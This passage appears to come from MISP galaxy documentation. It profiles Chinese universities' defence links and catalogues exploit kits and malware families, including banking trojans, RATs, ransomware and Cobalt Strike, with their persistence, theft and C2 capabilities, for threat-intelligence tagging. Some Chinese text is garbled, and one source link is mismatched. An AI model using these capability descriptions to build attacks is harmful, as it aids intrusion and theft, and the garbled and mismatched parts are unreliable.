SWUST is deeply engaged in defence research and is based in Mianyang, a city also home to China's nuclear weapons program and many other parts of the defence industry. Since 2006, the university has been subject to several joint construction agreements between the Sichuan Provincial Government and SASTIND that are designed to increase its involvement in defence research. SWUST carries out defence-related research on nuclear waste, radiation protection and electronic information engineering. It holds secret-level security credentials, allowing it to undertake classified defence technology and weapons projects. The university's main defence laboratory carries out research on topics such as the use of microorganisms to clean nuclear waste. SWUST has worked closely with the Chinese Academy of Engineering Physics (China's nuclear warheads program), China Aerodynamics Research and Development Center (a PLA base specialising in aircraft design), and defence conglomerates since its establishment. The fact that the university hosts the province's 'Civil-military Integration Institute' is a testament to its integration with the military and defence industry.

The tag is: misp-galaxy:china-defence-universities="Southwest University of Science and Technology (西南科技大学)"

Table 689. Table References

Space Engineering University (中国人民解放军战略支援部 航天工程大学)

SEU was established in June 2017 as an expansion of the former PLA Equipment Academy (装备学院). SEU describes itself as a ‘comprehensive university that trains talents for space command management and engineering.’ It is intended to serve as the ‘cradle of the new PLA's space talent training.’ The SEU is subordinate to and supports the PLA Strategic Support Force’s Space Systems Department (航天系统部), which has taken over the space and potentially counterspace capabilities that were previously the purview of the former General Armaments Department and, to a lesser degree, the former General Staff Department. The SEU offers degree programs at the undergraduate, master’s, and doctoral levels, as well as programs for non-commissioned officers, across disciplines including space target surveillance, remote sensing science and technology, and aerospace information security. Its faculty include nine CMC Science and Technology Commission experts and twenty professors who are designated as expert defence science and technology advisors. Beyond its mission of talent cultivation, the SEU also engages in extensive research. In particular, the SEU has a total of eighteen laboratories, which include two national-level key laboratories and one military-level key laboratory.
Special Police Academy (中国武装警察部 特种警察学院)

SPA is made up of departments for training, political work and logistics. As such, SPA engages in little defence research and focusses its activities on training special operations paramilitary troops in command processes.

Sun Yat-sen University (中山大学)

SYSU is a leading Chinese university subordinate to the Ministry of Education. In 2018, it come under the joint supervision of MOE and defence industry agency SASTIND. This development indicates that SYSU's involvement in the defence industry and defence research is growing. The university has a large defence research budget. In 2018, it spent nearly RMB200 million (AUD41 million) on defence research out of its total research budget of RMB3.1 billion (AUD640 million). SYSU is linked to the Chinese military through its National Supercomputer Center in Guangzhou (国家超算广州中心), which was placed on the US Government Entity List in 2015 for its role in nuclear weapons development. The centre was jointly established with the PLA National University of Defense Technology in 2011 to host the Tianhe-2 supercomputer. The supercomputer is operated by the National University of Defense Technology and was the world's fastest from 2013 to 2015. Aside from the supercomputer center, SYSU's Key Laboratory of Information Science is the only known lab focused on defence research and is located within the School of Electronics and Information Technology. In 2010, the university established a State Secrets Academy (国家保密学院), serving as the third university in China to establish such an institute in partnership with China's National Administration of State Secrets Protection (国家保密局). The Institute carries out research and training on the protection of state secrets.
Tianjin Polytechnic University (天津工业大学)

TJPU is known for its research in the field of textile science and engineering. It is jointly supervised by the Ministry of Education and the city of Tianjin. In 2018, defence industry agency SASTIND and the Tianjin Municipal Government signed an agreement to jointly support TJPU. The purpose of the agreement is to support the university's development of defence disciplines, construction of defence laboratories, and training of defence scientists. Through this arrangement, SASTIND involves universities in military research projects and supports collaboration between universities and the defence industry. The university also holds secret-level security credentials that allow it to participate in classified defence technology projects. Tianjin Polytechnic University hosts one state key lab and two MOE key labs. One of the MOE key labs and the state key lab are located within the School of Material Science and Engineering. Additionally, TJPU's School of Textile Science and Engineering has conducted R&D that has been applied to industries in aerospace, defense, transportation, civil engineering, among others. The School of Textile Science and Engineering has reportedly become a backbone of research and innovation for China's textile industry.

Tianjin University (天津大学)

TJU is under the administration of the Ministry of Education and has also been supervised by defence industry agency SASTIND since 2012. The university has second-class security credentials, allowing it to participate in classified research projects at the level of 'secret'. It hosts two defence laboratories, working on optoelectronics and propellants. In 2015, A professor at Tianjin University was arrested by U.S. federal agents and accused of economic espionage and technology theft. He had been a professor in the School of Precision Instrument and Opto-electronics Engineering, which is home to one of the MOE labs involved in defense research. TJU is also a member of several international engineering alliances and has one National Defense Technology Innovation Team. TJU carries out research for the Ministry of State Security (MSS), China's civilian intelligence agency. It has hosted at least one MSS researcher and its scientists have been awarded for their work for the MSS on communication and information engineering.

Tongji University (同济大学)

Tongji University recognized for its work in architecture, civil engineering, marine geology, and transportation engineering. The university established the only state key laboratory of deep-sea
geology, which plays an important role in China's deep-sea observation and serves as a significant platform for the country's marine strategy. The university's involvement in marine research likely stems from its joint construction with the State Oceanic Administration (SOA). In 2010, the Ministry of Education and the State Oceanic Administration signed to jointly establish 17 universities, a collaboration aimed at enhancing the ability to cultivate marine talents in universities, develop marine science and technology, and make contributions to the development of China's marine industry.

Tongji University has secret-level security credentials and is home to one Ministry of Education laboratory dedicated to defense research. In April 2019, the university was placed on the U.S. Unverified List, which places restrictions on US exports to the university. Entities are added to the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

### Tsinghua University (清　大学)

Tsinghua University is considered China's leading university in science and technology. Often characterized as 'China's MIT,' Tsinghua is highly ranked globally, while also being the alma mater of numerous Chinese leaders, including Xi Jinping. Tsinghua has been included in numerous Chinese educational initiatives, including acting as a Class A institution in the Double First-Class University Plan and with membership in China’s C9 League. As of spring 2018, Tsinghua University had 390 research institutions operating across a range of fields. Tsinghua engages in a range of military research and was awarded secret-level security credentials for classified research in 2007. In advancing military-civil fusion, Tsinghua also continues its ‘fine tradition’ of serving China’s national security and defense, actively creating new platforms and initiatives to support this strategy. Not only its dedicated defence laboratories but also a range of key laboratories and research institutions at the university have received funding from the military. Since at least 2012, Tsinghua has also been jointly supervised by defence industry agency SASTIND as part of a program to deepen its defence research and links to the defence sector. Tsinghua’s defence research covers areas such as artificial intelligence, air-to-air missiles, navigation technology, instrument science and materials science. The university trains students for China's nuclear weapons program, military and defence industry. In 2014 it signed a strategic cooperation agreement with the Chinese Academy of Engineering Physics (CAEP)—China's nuclear weapons program. In 2016, CAEP's Materials Institute and Tsinghua established a joint postgraduate training base for teaching, research collaboration and equipment sharing. Approximately 200 postgraduate students at Tsinghua are sponsored by CAEP or defence industry conglomerates each year through the Chinese government's National Defence Science and Technology Scholarship program. Scholarship recipients are required to work for their sponsoring organisation for five years after graduating. Roughly 2000 of the scholarships are awarded each year, indicating that Tsinghua students are among the primary recipients of them. Documents published by Tsinghua indicate that CAEP planned to sponsor 40 PhD students to study nuclear technology in 2013. CAEP continues to sponsor Tsinghua postgraduates. In 2004, Tsinghua agreed to supervise doctoral students from the PLA’s Second Artillery Engineering University, now known as the Rocket Force University of Engineering.

**University of Electronic Science and Technology of China (电子科技大学)**

UESTC was established in 1961 as one of China’s first defence industry universities. It is now subordinate to the Ministry of Education (MOE) and is also jointly supervised by defence industry agencies MIIT and SASTIND, as well as the Chinese military’s leading electronics manufacturer, China Electronics Technology Group Corporation (CETC). The university is one of China’s leading universities for defence electronics research. It claims to rank among the top MOE universities in terms of the scale of its defence research. Between 2011 and 2015, its annual spending on defence research grew by 210% to RMB400 million (AUD80 million) and may account for as much as 32% of its overall research spending. 16.43% of UESTC graduates in 2017 who found employment were working in the defence sector. UESTC gained secret-level security credentials about a decade ago, probably in 2006, making it one of the first MOE universities to hold them. UESTC research has been used by state-owned manufacturers of military aircraft, missiles, and military electronics and the PLA Navy on projects such as the JF-17 fighter and the Navy's aircraft carrier program. UESTC's defence research covers areas including electronics, microwaves, terahertz technology, anti-jamming technology and signal processing, communication systems, military-use critical materials, optoelectric imaging. Between 2001 and 2005, UESTC undertook over 900 military electronics projects worth in excess of RMB500 million (AUD104 million). UESTC's research on artificial intelligence has attracted scrutiny for its human rights implications. In 2015, a professor recruited by UESTC through the Thousand Talents Plan established a company called Koala AI. The company produces artificial intelligence surveillance systems that are used in Xinjiang, where an estimated 1.5 million Uyghurs and other ethnic minorities have disappeared into concentration camps. UESTC has close relationships with the Chinese defence industry. The university operates a national laboratory on high-power radiation with the Chinese Academy of Engineering Physics, the PRC’s primary nuclear warhead research complex. CETC, a state-owned defence conglomerate, partnered jointly with the MOE to develop UESTC's capabilities. Under the arrangement, UESTC agreed to expand its collaboration with CETC, help train CETC personnel and send its best students to work at CETC. Defence industry agency SASTIND also signed agreements to supervise UESTC in 2008 and 2016.

University of International Relations (国 际关系学院)

UIR claims was established in 1949 under the direction of then Premier Zhou Enlai. In 1964 it was designated as a ‘national key university’, and this appears to be the evidence it uses to claim it is a Ministry of Education university. However, the university does not appear on the Ministry of Education’s list of subordinate universities. Individuals formerly and presently affiliated with the university have also held affiliations with the MSS or the MSS-linked think tank the China Institutes of Contemporary International Relations (中国 现代国际关系研究院). They include Geng Huichang ( 耿惠昌), a former Minister of State Security (2007-2016) and vice minister of State Security (1998-2007). Prior to this he was the head of China Institutes of Contemporary International Relations from 1992 to 1998. From 1990 to 1992, he was the director of UIR’s American Research Department and from 1985-1990 he was deputy director of the American Research department. Notably, current UIR President Tao Jian is also a former CICIR vice-president and a UIR graduate. UIR gives the MSS a way to work with foreign universities and academics to shape and learn about perceptions of the PRC’s views on security. It also provides a platform for the MSS to identify talent, recruit officers and collect intelligence. The university’s Hangzhou campus, also known as the Zhejiang Second People’s Police School, may carry out more practical training of MSS officers and has been described on a local government website as ‘specialising in training special talent’. Some graduates of the Hangzhou campus have moved straight into MSS positions. The Hangzhou campus works closely with Zhejiang University on teaching and research.

University of Science and Technology Beijing (北京科技大学)

USTC is a leading university subordinate to the MOE. The university engages in high levels of defence research and claims be among the top MOE universities for defence spending. Since 2018, it has been under a joint-construction agreement between the MOE and defence industry agency SASTIND that is designed to expand its involvement in defence research. USTB is known as the ‘cradle of steel’ for its training and research on metallurgy. The university’s defence research appears to focus on metallurgy and materials science. It hosts at least three laboratories dedicated to defence research, including two that are jointly run with state-owned defence conglomerates. The head of USTB’s Institute of Advanced Materials and Technology also heads a SASTIND-supported defence science and technology innovation team. The university holds secret-level security credentials, allowing it participate in research and production for classified weapons and defence technology projects.

The tag is: misp-galaxy:china-defence-universities="University of Science and Technology Beijing (北京科技大学)"

Table 699. Table References
University of Science and Technology of China
(中国科学技　大学)

The University of Science and Technology of China is among China’s most prestigious universities in science and technology. Uniquely, it was established and is supervised by the Chinese Academy of Sciences, intended to serve national objectives in science and technology. Xi Jinping personally inspected USTC in 2016, urging it to pursue “even more outstanding achievements in teaching and innovation.” It is a member of the C9 League and in the “211 Project” and “985 Project.” While providing undergraduate and graduate-level education, USTC is also highly active in research across a number of major laboratories, including several that support research that is related to national defense and the development of dual-use technologies, such as brain-inspired approaches to artificial intelligence and quantum information science. USTC has a long history of contributions to science in the service of the state, and it has recently sought to deepen its contributions to military research, including through establishing a new center for military-civil fusion. Several USTC professors, including prominently Pan Jianwei, have partnered with the defense industry to pursue military applications of their technologies.

Table 700. Table References

University of Shanghai for Science and Technology
(上海理工大学)

USST describes itself as a ‘university with defence characteristics’. It has been under the joint supervision of Shanghai and defence industry agency SASTIND since 2016. It is engaged in growing levels of defence research and holds second-class weapons research and development secrecy credentials, allowing it to undertake classified projects. In 2017, its spending on defence research reached RMB13 million (AUD2.6 million). SASTIND has designated areas with the fields of optics, energy and control science as defence disciplines at USST, indicating that the university’s defence research focuses on these areas. In 2017, The university established a joint venture on terahertz radiation technology with subsidiaries of defence conglomerate Norinco Group.

The tag is: misp-galaxy:china-defence-universities="University of Shanghai for Science and Technology (上海理工大学)"

Table 701. Table References
University of South China (南 华大学)

USC specialises in nuclear engineering. It has a well-developed defence research program and has been the subject of several joint-construction agreements between the Hunan Provincial Government and defence industry agency SASTIND since 2002. These agreements are designed to ‘support USC in going a step further to display its defence characteristics based on the development needs of the defence technology industry.’ USC is also supervised by China National Nuclear Corporation, a state-owned defence nuclear engineering conglomerate. USC carries out large amounts of defence research related to nuclear engineering, as well as work on information technology, communications engineering, control engineering and electrical engineering. The university received secret level security credentials in 2008, allowing it to work on classified defence projects.

The tag is: misp-galaxy:china-defence-universities="University of South China (南 华大学)"

Wuhan University (武 大学)

WHU is a leading Chinese university subordinate to the Ministry of Education. The university has close ties to the military and has been subject to a joint-supervision agreement between the Ministry of Education and defence industry agency SASTIND since 2016, an arrangement designed to increase its involvement in defence research. In 2015, WHU planned to spend RMB200 million (AUD42 million) on defence research for the year and described itself as ‘a university with a strong reputation in the defence science and technology field’. WHU carries out defence research in a wide range of fields, including navigation, computer simulation, electronic information, electromagnetics, aerospace remote sensing, materials science, cyber security and explosions. The university is an important site of research for China’s Beidou satellite navigation system. Aside from being involved in defence research, there are strong indications that WHU has carried out cyber attacks for the People’s Liberation Army. One of the university’s two defence laboratories purportedly established by the Ministry of Education, the Key Laboratory of Aerospace Information Security and Trusted Computing, has been accused by unnamed US and Taiwanese officials of carrying out cyberattacks.

The tag is: misp-galaxy:china-defence-universities="Wuhan University (武 大学)"

Wuhan University of Technology (武 理工大学)

WHUT is subordinate to the Ministry of Education. The university originally specialised in research relating to construction, transport and automobiles. It engages in high levels of defence research
and has been under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND since 2016. It holds secret-level security credentials. The university hosts two Ministry of Education laboratories dedicated to defence research on materials science and ship technology. WHUT also works closely with the PLA Air Force on defensive engineering such as the construction of aircraft bunkers and underground shelters. Since 2001, WHUT and the Guangdong Military Region Air Force Engineering and Construction Bureau have run a joint research institute, which ‘takes advantage of [WHUT’s] State Key Laboratory of Advanced Technology for Materials Synthesis and Processing’. In 2012, the PLA Air Force Logistics Department and WHUT held a signing ceremony inaugurating the “Air Force-level Military-Civil Fusion Air Defence Engineering Construction Technology Innovation Platform Cooperation Agreement” (空 军级军民融合式空防工程建 科技 新平台合作 ). The same department in cooperation with WHUT also jointly established the Air Force Air Defence Engineering Construction Technology Innovation Platform (空 军 空防工程建 科技 新平台), with ‘the goal of innovating mutually beneficial technologies.’

**Xi’an Technological University (西安工业大学)**

XATU is a civilian university that primarily engages in defence research. XATU describes itself as ‘having distinct defence-industrial characteristics’ and is heavily involved in weapons development. Since 2016, it has been subject to a ‘joint construction’ agreement between the Shaanxi Provincial Government and defence industry agency SASTIND designed to deepen its defence links. The university’s main areas of defence research include photoelectric imaging technology, manufacturing technology, materials science, detection and measurement technology and weapons
systems. It holds secret-level security credentials. XATU is a member of the B8 Cooperation Innovation Alliance (B8 同 新 盟 or 中国兵器 同 新 盟), a group of eight Chinese research institutions that specialize in weapons science—the ‘B’ in ‘B8’ stands for Chinese work for armaments, bingqi (兵器). Apart from Shenyang Ligong University, XATU is the only Chinese civilian university known to be supervised by state-owned arms manufacturers China North Industries Group (Norinco Group) and China South Industries Group.

The tag is: *misp-galaxy:china-defence-universities="Xi’an Technological University (西安工 大学)"

### Xi’an University of Posts and Telecommunications (西安 大学)

XUPT is a leading Chinese university supervised by the Shaanxi Provincial Government and the Department of Information Technology. The university was established in 1959 as an institution focused on communications and information technology. XUPT retains a focus on these discipline to this day. XUPT’s faculties include college focusing on artificial intelligence, automation, cyber security and electrical engineering. XUPT maintains close links to China’s Ministry of Public Security (MPS). The university has signed agreements and established joint laboratories with the MPS’s local counterparts. In November 2013, XUPT partnered with the Shaanxi Municipal Government’s public security ministry to establish the MPS Key Laboratory of Electronic Information Application Technology for Scene Investigation (公安部 电子信息 现场 应用技术 重点 实验室). This was the first such joint laboratory that the MPS established with a university in any of China’s five northwestern provinces. XUPT partnered with Xi’an’s Yanta District Public Security Bureau branch in November 2018, establishing the ‘Joint Laboratory for Smart Public Security Information Analysis and Applications’ (公安信息智能分析及 用 用合 实验室). The joint laboratory develops applications of artificial intelligence for analysing criminal information.

The tag is: *misp-galaxy:china-defence-universities="Xi’an University of Posts and Telecommunications (西安 大学)"

### Xiamen University (厦 大学)

XMU is one of China’s leading universities, but it does not appear to engage in high levels of defence research. However, in 2018 it came under a joint supervision agreement between the Ministry of Education, the Fujian Provincial Government and defence industry agency SASTIND that indicates XMU will expand its involvement in defence research. The arrangement is designed to ‘upgrade the university’s ability to innovate defence science and technology and actively integrate itself with the development of military-civil fusion.' In 2017, XMU allegedly conspired with Huawei to steal trade
secrets from CNEX Labs Inc., an American semiconductor startup. CNEX claims that Huawei and XMU engaged in a multiyear conspiracy to steal the company's solid-state drive computer storage technology. The university appears to be involved in the development of military-use heavy-duty coatings. In 2017, XMU, Fujian Normal University, Fujian Liheng Paint Co. Ltd. (福建立恒涂料有限公司) and People's Liberation Army Unit 63983 jointly established the Haixi Liheng New Materials Research Institute (海西立恒新材料研究院). Fujian Liheng Paint specialises in heavy-duty coatings for warships and holds confidential-level security credentials, allowing it to participate in classified defence projects.

**Yanshan University (燕山大学)**

The university was formed as an offshoot of Harbin Institute of Technology, one of China’s top defence universities, in 1960. The university continues to prioritise defence research and is jointly supervised by the Hebei Provincial Government together with the Ministry of Education, Ministry of Industry and Information Technology and defence industry agency SASTIND. YSU’s Defense Science and Technology Institute was established in 2006 under the support of COSTIND (a defence industry agency that has been replaced by SASTIND) to expand and oversee defence research at the university. The institute has driven the university’s involvement in space-related defence research through the establishment of laboratories such as the Key Laboratory of Fundamental Science of Mechanical Structure and Materials Science Under Extreme Conditions. Four fields of research at YSU are officially designated as defence disciplines: control theory and control science, electrical circuits and systems, mechanical design and theory, and materials science and engineering. The university holds secret-level security credentials.

Zhejiang University (浙江大学)

ZJU is subordinate to the Ministry of Education and jointly constructed with defence industry agency SASTIND. This arrangement with SASTIND began in 2016 and is designed to deepen the university’s involvement in defence research. The university holds secret-level security credentials, allowing it to work on classified military projects. The university’s total research funding amounts to RMB4.56 billion (AUD940 million) in 2018. It has at least three defence laboratories, with one source claiming that the university had ten key national laboratories (国家重点实验室) as of 2015. These laboratories are involved in research on computer simulations, high-performance computing and control science. The university also carries out cyber security research and receives funding for this work from the MSS, China’s civilian intelligence agency. ZJU cooperates extensively with international universities and companies, with upwards of 40 international joint S&T research labs. The College of Electrical Engineering has joint labs with U.S. companies in key industries, such as Rockwell Automation in the field of information technology, and the National Semiconductor Corporation. Additionally, the university has a joint research lab with U.S company Microsoft.

**Exploit-Kit**

Exploit-Kit is an enumeration of some exploitation kits used by adversaries. The list includes document, browser and router exploit kits. It's not meant to be totally exhaustive but aim at covering the most seen in the past 5 years.

Exploit-Kit is a cluster galaxy available in JSON format at [this location](https://www.ria.ee/sites/default/files/content-editors/kuberturve/cyber_security_of_election_technology.pdf). The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

Kafeine - Will Metcalf - KahuSecurity
**Astrum**

Astrum Exploit Kit is a private Exploit Kit used in massive scale malvertising campaigns. It's notable by its use of Steganography

The tag is: `misp-galaxy:exploit-kit="Astrum"`

Astrum is also known as:

- Stegano EK

*Table 737. Table References*

**Fallout**

Fallout Exploit Kit appeared at the end of August 2018 as an updated Nuclear Pack featuring current exploits seen in competing Exploit Kit.

The tag is: `misp-galaxy:exploit-kit="Fallout"`

Fallout is also known as:

- Fallout

Fallout has relationships with:
Bingo

Bingo EK is the name chosen by the defense for a Fiesta-ish EK first spotted in March 2017 and targeting at that times mostly Russia

The tag is: misp-galaxy:exploit-kit="Bingo"

Terror EK

Terror EK is built on Hunter, Sundown and RIG EK code

The tag is: misp-galaxy:exploit-kit="Terror EK"

Terror EK is also known as:

- Blaze EK
- Neptune EK

DealersChoice

DealersChoice is a Flash Player Exploit platform triggered by RTF.

DealersChoice is a platform that generates malicious documents containing embedded Adobe Flash files. Palo Alto Network researchers analyzed two variants—variant A, which is a standalone variant including Flash exploit code packaged with a payload, and variant B, which is a modular variant that loads exploit code on demand. This new component appeared in 2016 and is still in use.

The tag is: misp-galaxy:exploit-kit="DealersChoice"

DealersChoice is also known as:
• Sednit RTF EK

Taurus Builder

Taurus Builder is a tool used to generate malicious MS Word documents that contain macros. The
kit is advertised on forums by the user "badbullzvenom".

The tag is: `misp-galaxy:exploit-kit="Taurus Builder"`

**RIG**

RIG is an exploit kit that takes its source in Infinity EK itself an evolution of Redkit. It became dominant after the fall of Angler, Nuclear Pack and the end of public access to Neutrino. RIG-v is the name given to RIG 4 when it was only accessible by "vip" customers and when RIG 3 was still in use.

The tag is: `misp-galaxy:exploit-kit="RIG"`

RIG is also known as:

- RIG 3
- RIG-v
- RIG 4
- Meadgive

Catelites

Catelites Bot (identified by Avast and SfyLabs in December 2017) is an Android trojan, with ties to CronBot. Once the malicious app is installed, attackers use social engineering tricks and window overlays to get credit card details from the victim. The distribution vector seems to be fake apps from third-party app stores (not Google Play) or via malvertisement. After installation and activation, the app creates fake Gmail, Google Play and Chrome icons. Furthermore, the malware sends a fake system notification, telling the victim that they need to re-authenticate with Google Services and ask for their credit card details to be entered. Currently the malware has overlays for over 2,200 apps of banks and financial institutions.

**Gustuff**

Group-IB describes Gustuff as a mobile Android Trojan, which includes potential targets of customers in leading international banks, users of cryptocurrency services, popular ecommerce websites and marketplaces. Gustuff has previously never been reported. Gustuff is a new generation of malware complete with fully automated features designed to steal both fiat and crypto currency from user accounts en masse. The Trojan uses the Accessibility Service, intended to assist people with disabilities. The analysis of Gustuff sample revealed that the Trojan is equipped with web fakes designed to potentially target users of Android apps of top international banks including Bank of America, Bank of Scotland, J.P.Morgan, Wells Fargo, Capital One, TD Bank, PNC Bank, and crypto services such as Bitcoin Wallet, BitPay, Cryptopay, Coinbase etc. Group-IB specialists discovered that Gustuff could potentially target users of more than 100 banking apps, including 27 in the US, 16 in Poland, 10 in Australia, 9 in Germany, and 8 in India and users of 32 cryptocurrency apps.

RedAlert2

RedAlert 2 is an new Android malware used by an attacker to gain access to login credentials of various e-banking apps. The malware works by overlaying a login screen with a fake display that sends the credentials to a C2 server. The malware also has the ability to block incoming calls from banks, to prevent the victim of being notified. As a distribution vector RedAlert 2 uses third-party app stores and imitates real Android apps like Viber, Whatsapp or fake Adobe Flash Player updates.

Triout

Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware’s surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recording videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.

Ebury

This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.

This family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.

pupy (ELF)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: *misp-galaxy:malpedia="pupy (ELF)"

AdWind

Part of Malware-as-service platform Used as a generic name for Java-based RAT Functionality -
collect general system and user information - terminate process -log keystroke -take screenshot and
access webcam - steal cache password from local or web forms - download and execute Malware -
modify registry - download components - Denial of Service attacks - Acquire VPN certificates

Initial infection vector 1. Email to JAR files attached 2. Malspam URL to downlaod the malware

Persistence - Runkey - HKCU\Software\Microsoft\Windows\current version\run

Hiding Uses attrib.exe

Notes on Adwind The malware is not known to be proxy aware

The tag is: misp-galaxy:malpedia="AdWind"

AdWind is also known as:
- AlienSpy
- Frutas
- JBifrost
- JSocket
- Sockrat
- UNRECOM

jRAT

jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io.

The tag is: `misp-galaxy:malpedia="jRAT"`

Qarallax RAT

According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).

QRat

QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, ...), and it comes as a SaaS. For additional historical context, please see jar.qarallax.

The tag is: misp-galaxy:malpedia="QRat"

BELLHOP

• BELLHOP is a JavaScript backdoor interpreted using the native Windows Scripting Host(WSH). After performing some basic host information gathering, the BELLHOP dropper downloads a base64-encoded blob of JavaScript to disk and sets up persistence in three ways:

• Creating a Run key in the Registry
• Creating a RunOnce key in the Registry
• Creating a persistent named scheduled task
• BELLHOP communicates using HTTP and HTTPS with primarily benign sites such as Google Docs and PasteBin.

SQLRat

SQLRat campaigns typically involve a lure document that includes an image overlayed by a VB Form trigger. Once a user has double-clicked the embedded image, the form executes a VB setup script. The script writes files to the path %appdata%\Roaming\Microsoft\Templates, then creates two task entries triggered to run daily. The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot. The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters. After deobfuscating the file, the main JavaScript is easily recognizable. It contains a number of functions designed to drop files and execute scripts on a host system. The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables.

</table>
Dok

Dok a.k.a. Retefe is the macOS version of the banking trojan Retefe. It consists of a codesigned Mach-O dropper usually malspammed in an app bundle within a DMG disk image, posing as a document. The primary purpose of the dropper is to install a Tor client as well as a malicious CA certificate and proxy pac URL, in order to redirect traffic to targeted sites through their Tor node, effectively carrying out a MITM attack against selected web traffic. It also installs a custom hosts file to prevent access to Apple and VirusTotal. The macOS version shares its MO, many TTPs and infrastructure with the Windows counterpart.

The tag is: misp-galaxy:malpedia="Dok"

**7ev3n**

The NJCCIC describes 7ev3n as a ransomware "that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows
function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n."

Aldibot

According to Trend Micro Encyclopia: ALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.

This malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.

This bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.
This malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine's hardware identification (HWID), host name, local IP address, and OS version.

This backdoor executes commands from a remote malicious user, effectively compromising the affected system.

AlphaLocker

A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.

AlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware's author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.

AlphaLocker's encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user's computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA
key, and sent to the C&C server.

To decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.

BACKBEND

FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants). If either of the mutexes exist, the malware exits.

**Belonard**

Once set up in the system, Trojan.Belonard replaces the list of available game servers in the game client and creates proxies on the infected computer to spread the Trojan. As a rule, proxy servers show a lower ping, so other players will see them at the top of the list. By selecting one of them, a player gets redirected to a malicious server where their computer become infected with Trojan.Belonard.

**BillGates**

BillGates is a modularized malware, of supposedly Chinese origin. Its main functionality is to perform DDoS attacks, with support for DNS amplification. Often, BillGates is delivered with one or many backdoor modules.

BillGates is available for *nix-based systems as well as for Windows.

On Windows, the (Bill)Gates installer typically contains the various modules as linked resources.

Cobalt Strike

Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.

The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.

DanaBot

Proofpoints describes DanaBot as the latest example of malware focused on persistence and stealing useful information that can later be monetized rather than demanding an immediate ransom from victims. The social engineering in the low-volume DanaBot campaigns we have observed so far has been well-crafted, again pointing to a renewed focus on “quality over quantity” in email-based threats. DanaBot’s modular nature enables it to download additional components, increasing the flexibility and robust stealing and remote monitoring capabilities of this banker.

Darksky

